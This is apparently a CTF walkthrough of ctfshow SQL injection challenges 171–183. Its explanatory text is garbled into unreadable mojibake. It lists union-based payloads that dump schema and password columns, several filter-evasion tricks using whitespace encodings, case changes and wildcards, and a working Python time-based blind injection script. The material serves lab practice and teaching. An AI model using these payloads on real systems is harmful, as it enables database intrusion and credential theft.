171-253
Q&A
- web171Ϊʲôʹ��1’ or ‘1����ȫ�����ԣ�orǰ�з�������������ˣ�andǰ�ٺ�����
- web172�е���һ��˼·����ʵ�֣�butʵ��ϸ���أ��ǶԽ����������ԭ�����м����ʹ��upperֱ�ӽ����ƹ�
- ����Ϊquery���ض���������𣬲�Ҫ��pdo����
- web172��-1’ union select (select group_concat(base64(username)) from ctfshow_web.ctfshow_user2),(select group_concat(password) from ctfshow_web.ctfshow_user2) %23��ִ�У�but��base4��Ϊhex������
- web172��ctfshow��pppboy�Ļش��ṩ��һ���µĽ����������ʱ����һ��!!!!
- web172��inexsec�Ļش����ж�information_schema���ݿ����ϸ��Ϣ
- web173�Ų��ֶ���ʱ��1’ order by ‘3�������
- web174Ϊʲô���������ֱ�ӽ���replaceǶ�ף�����Ŀ����֪ʶ��������payload
- web174Ϊʲô���Դ�һ���ļ�select-no-waf-4.php����һ���ļ�/api/v4.php������
- web174�ű�12Ҫ�㶮ԭ��
- web174�����е�$retҪ������
- web176��Ϊʲôlimit1ʹ���������뻹��ֱ�ӳ�����������
- web177�з������ƹ��ո���˵�����
- �費��Ҫÿ�������һ���ؼ��ּ��ɣ�������ʹ�ö���ؼ���������unionselect
- web180��payload3��Ϊʲô����һ��%0c�Ϳ����ˣ������ӾͲ���
- web181��Ϊʲô������–+������û�й�����
- web182��1’or’1’–%01�е�%01��ʲô
- web183�����
web171(�����ַ�ע��)
- ����
- ����ԭ����ˣ�Ҫ�ƹ�����username������
- payload��0’ or ‘1ʵ����flag��ֱ����ʾ��
- payload��0’ or username = ‘flag��ʾid=1�ĺ�username=flag��
- sqlע��֪ʶ�㲹��
- �����һ�������͵ڶ����������������� AND �������ʾ���ϵļ�¼
- �����һ�������͵ڶ���������ֻҪ��һ���������� OR �������ʾ���ϵļ�¼��û��˳��
- and���������ȼ�����or
web172(�������ϲ�ѯ)
- ����
- ˼·���ƹ���飬ʹ������ע�룬ֻҪ��ȡpassword���ɣ���password������(����ʵ������ȫ����ȥ��flag��ֻҪ����ѯusername���ɣ���ͬstep4��һ��)
- step1��1’ order by 2 %23
- ����ʹ��#��–����Ϊ�����ˣ���%23Ϊʲô����
- Ϊʲôʹ��1’ order by ‘2Ҳ������ʾ
- step2��-1’ union select database(),(select group_concat(table_name) from information_schema.tables where table_schema = database())%23�鿴���ݿ����ͱ���
- step3��-1’ union select database(),(select group_concat(column_name) from information_schmea.columns where table_schema =’ctfshow_web’ and table_name = ‘ctfshow_user2’)%23�鿴ctfshow_user2���е�����
- step4��-1’ union select database(),(select group_concat(password) from ctfshow_web.ctfshow_user2) %23��ȡctfshow_web���ݿ���ctfshow_user2����password������
- sqlע��֪ʶ�㲹��
- �Ķ�Ӧ���ڶ�Ӧ�е�flag�����ж�ȡ
- ǰ�ò���Ҳ�ǻ�ȡ����������
- payload:-1’ union select upper(username),password from ctfshow_user2 where username = ‘flag
- ����䲢������ԭ�����ݣ�ֻ�Ƿ���һ�����������ַ�����Сд�汾�Ľ����
- $sql = “select username,password from user where username !=’flag’ and id = ‘“.$_GET[‘id’].”‘ limit 1;”;
- PHP �У�ʹ��˫���ţ�” “���������ַ����а����������������ᱻ�������滻Ϊ��ֵ
- �����ź�˫����������������ǵ�Ч��
- �˴�����ʹ��”ȥ�պϣ�ֻ��Ҫʹ��’�պϼ���
- . ���ڽ� SQL ��ѯ�ַ����IJ�ͬ����������һ��ʹ�ַ������ӷ�ʽ���Խ���̬���ɵ�ֵ���뵽 SQL ��ѯ�У�.Ҫ��˫�����ڽ����ű���
- ����ʹ����limit
- �����ƻ��Ե����������ʹ��1’����0’����-1’����Ӱ��
web173(ͬweb172)
- ����
- -1’ union select (select group_concat(table_name) from information_schema.tables where table_schema = database()),2,3 %23
- -1’ union select (select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = ‘ctfshow_user3’),2,3 %23
- -1’ union select (select group_concat(password) from ctfshow_user3),2,3 %23
- sqlע��֪ʶ�㲹��
- �ַ��Ͳ�ѯʱ�����ݿ�������(�ֶ�)���������ȵȶ���Ҫʹ�ö�Ӧ������������������ᱨ����butʹ��table_name.column_name��ȡ������ʱ���Բ�������
- �����ʵ���϶�flag�Ĺ���û��ɶ���ã�����Ҫ��ֻ��password
- upper()
- lower()
- hex()
- payload:1’ union select id,hex(username),password from ctfshow_user3 %23
- base64()��to_base64()��ͬ
- payload:(web172�ģ�����ֻ��to_base64������base64��������concat��base64����base64��concat�Dz�ͬ��)-1’ union select (select group_concat(to_base64(username)) from ctfshow_web.ctfshow_user2),(select group_concat(password) from ctfshow_web.ctfshow_user2) %23
- from_base64()�����
- replace()
- payload��0’ union select id,replace(username,’f’,’g’),password from ctfshow_user3 where username = ‘flag
- REGEXP_REPLACE()֧������ƥ�䣬but��Ҫ���ݿ�֧��
- replaceǶ���Խ��ж���滻ƥ��
web174(���Թ�������+äע)
- ����
- ʹ�ýű�����äע���⣬�ȸ������ô���IJΣ�bpץ��������������/api/v4.phpҳ��ͨ��get��ʽ���Σ��ͺð���
- �ű�����
- mid()��ord()
1 | import requests |
- sqlע��֪ʶ�㲹��
- ����ʹ��Ƕ��replace���ĵ����ֵĻ��Թ���Ϊʲô�в�ͨ��payload��0’ union select ‘A’,(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,’0’,’)’),’9’,’(‘),’8’,’*’),’7’,’&’),’6’,’^’),’5’,’%’),’4’,’$’),’3’,’#’),’2’,‘@’),’1’,’!’) from ctfshow_user4 where username = ‘flag’) %23
- �������Ҫ����flag�������־Ͳ����л����ˣ���ֱ����ʾ�����쳣��Ҫ�����ƹ�
���������ƹ���ʹ��and�����������Ĵ�������Ҫ����flag�ģ�����admin�IJ������ж϶��������ݽ���ֱ�Ӳ������л��Ծ�û����
�����ı�
1
2
3
4
5
6
7if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg'] = '��ѯ�ɹ�';
}
/*
*1. json_encode($ret) �� PHP ���� $ret ת��Ϊ JSON ��ʽ���ַ���
*2. $ret['msg']�������ݶ�Ӧ��ֵΪ�ɹ�
web175(ʱ��äע)
- ����
����������sqlע�룬����ʱ��äע��ʹ��python�ű�
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30import requests
url = 'http://d28023dc-63ef-4d96-b96b-96c7265d925a.challenge.ctf.show/api/v5.php'
str_range = list(range(31,129))
'''
��֪��url��Ҫ����url���б���(һ��ѭ��)��ÿһ����ĸ����һ��ѭ�����ַ�(����ѭ��)
'''
def getContents():
content = ''
i = 1
while True:
low,high = str_range[0],str_range[len(str_range)-1]
while (low+1) != high:
mid = (low+high) // 2
new_url = url + f"?id=1' and if((ascii(substr((select password from ctfshow_web.ctfshow_user5 where username = 'flag'),{i},1)) >= {mid}),sleep(1),0) %23"
try:
r = requests.get(new_url,timeout=0.5)
high = mid
except Exception as e:
low = mid
content += chr(low)
print(content)
if content[-1] == '}':
return content
i += 1
if __name__ == '__main__':
content = getContents()
print('**********')
print(content)
- sqlע�벹��֪ʶ��
- ���˻����ַ�Ϊ\x00-\x7fʵ���Ͼ���ascii 0-127���൱�ڰѴ�Сд��ĸ�����֡��ɼ����Ŷ����˵��ˣ�Ҳ��������Ϊû�л���
- ʱ��äע��֪ʶ���CTFER_SQLע��
web176(select����+��Сд�ƹ�)
- ����
- ʹ������������в��ԣ�ֱ�Ӿͽ��ˣ���֪��������ɶ
- payload��1’ or ‘1
- payload2��1’ union Select 1,2,group_concat(password) from ctfshow_user –+
- ʵ�����Ƕ�select���й��ˣ����Դ�д�ƹ�
- butΪʲô���˸�����1’ union Select 1,2,(group_concat(password) from ctfshow_user) –+��������
- sqlע��֪ʶ�㲹��
- ���Թ��˺��ƹ���ʽʱ����1��2Ϊ���忪ʼ���ԣ�֪������������ų���
web177(�ո��ƹ�)
- ����
- ����1�ɹ�������1 ���ԣ��ж�Ϊ�ո����
- payload��0’%0bunion%0bselect%0b1,2,group_concat(password)%0bfrom%0bctfshow_user%23
- ����ǰ��Ҫʹ��0�ſ��ԣ�because������Ϊlimit 1
- payload2��0’%0aunion%0aselect%0a1,2,group_concat(password)from`ctfshow_user`where`username`=’flag’%23
web178(/**/��#����)
- ����
- �ո���Է��ֿո���ˣ�ʹ��/**/����
- payload��1’%0aunion%0aselect%0a1,2,group_concat(password)from`ctfshow_user`where`username`=’flag’%23
- payload2��1’%0aor%0a’1’%23
- ����ע�͵�limit 1��ֱ�����ȫ��
web179(%0a+%0b+%0dֻʣ%0c��������)
- ����
- payload��1’%0cor%0c’1’%23
- %0a��%0b��%0d�������ˣ�–��#��������
- ������
- payload2��-1’union(select(select(group_concat(password))from(ctfshow_user)),1,2)%23
- ʹ�����Ž��д���ո�
- 1’union(select((group_concat(password))from(ctfshow_user)),1,2)%23���Դ���Ҫ���ϸ�select
web180(–#%23ȫ����+�ո����)
- ����
- payload��0’%0cunion%0cselect%0c1,(select(group_concat(password))from(ctfshow_user)),’3
- û��ע�ͷ�����ʹ��’�����бպ�
- payload2��-1’or%0cusername%0clike’flag
- ʹ��-1��or���ƽ�limit���
- payload��’or’1’=’1’–%0c
- sqlע��֪ʶ�㲹��
- payload2�еķ�����ԭ������ʹ��or�����Ŀ�ģ���֪����������������
web181(ע��ȫ����+�ո�ȫ����)
- ����
- ʹ�����������ʽ��payload��0’or(username)=’flag
- payload2��0’or(id=26)and’1’=’1
web182(ͨ���)
- ����
- �����������Ĺؼ���flag��but����ʹ��ͨ���
- payload��0’or(username)like’fla_����0’or(username)like’fla%
- payload2��1’or’1’–%01
- �����%01��ʲô����
- payload3��-1’or(username=concat(‘fl’,’ag’))and’a’=’a
- ��Ҫ��’a’=’a���պ����ţ�����ע�Ͷ������˵���
- payload4������äעһ�������ʹ�õķ���
web183(����ע�������ע��)
- ����
- ��֪��ϢΪctfshow{xxxx}�������Դ�Ϊ���������äעѰ��flag���ʿ��Բ�ʹ��%26%26����ֹ�����л���
- �����˺ܶ࣬but�л������֣����Կ��Dz���äע
- �ű�
1 | import requests |
- sql����֪ʶ��
- python֪ʶ��
- requests��post������r = requests.post(url,data=post_data)
- ����url ����Ҫ���� POST �����Ŀ���ַ��data ��һ���ֵ䣬��������Ҫ���ݸ��������˵�����
- �ֵ䣨Dictionary����һ�����ݽṹ�����ڴ洢��ֵ�ԣ�key-value pairs��
- �ֵ��ǿɱ�ġ�����ģ��� Python 3.7+ �������Ҽ�Ψһ�ļ���
- Python �е��ֵ�ʹ�ô����� {} ����ʾ������ֵ֮��ʹ��ð�� : �ָ�����ͬ��ֵ��֮��ʹ�ö��� , �ָ�
- �жϣ�if success_mark in r.text:…������if r.text.find(‘…’) == 1:
- r.text.find����boolean
- r�ַ�����r�ַ�����ԭʼ�ַ�����raw string���ļ�д�����ڱ�ʾһ���ַ����е�ת���ַ��������ͣ�����ֱ����Ϊ��ͨ�ַ�����
- ��r�ַ����У���б�� \ ���ᱻ����ת���ַ������DZ�������ͨ�ַ��Դ�
- �����ַ���鼯��
- ʹ���ַ�������forѭ�����ɶ��ַ����������ַ����б�����ÿ�μ��һ���ַ�
- requests��post������r = requests.post(url,data=post_data)
- �����
- (ctfshow_user)where((substr(pass,1,1)regexp’c’)%26%26(username)like’fla_’)�в�ͨ
- web176��ʹ��1’union Select 1,2,(Select password from ctfshow_user where username=’flag’ %26%26 substr(password,1,1)regexp’c’)–+���Ի��Գ�flag
- Ϊʲô����ʹ��union������ע���ǵ�����ƴ�ӻ�����ʲô��������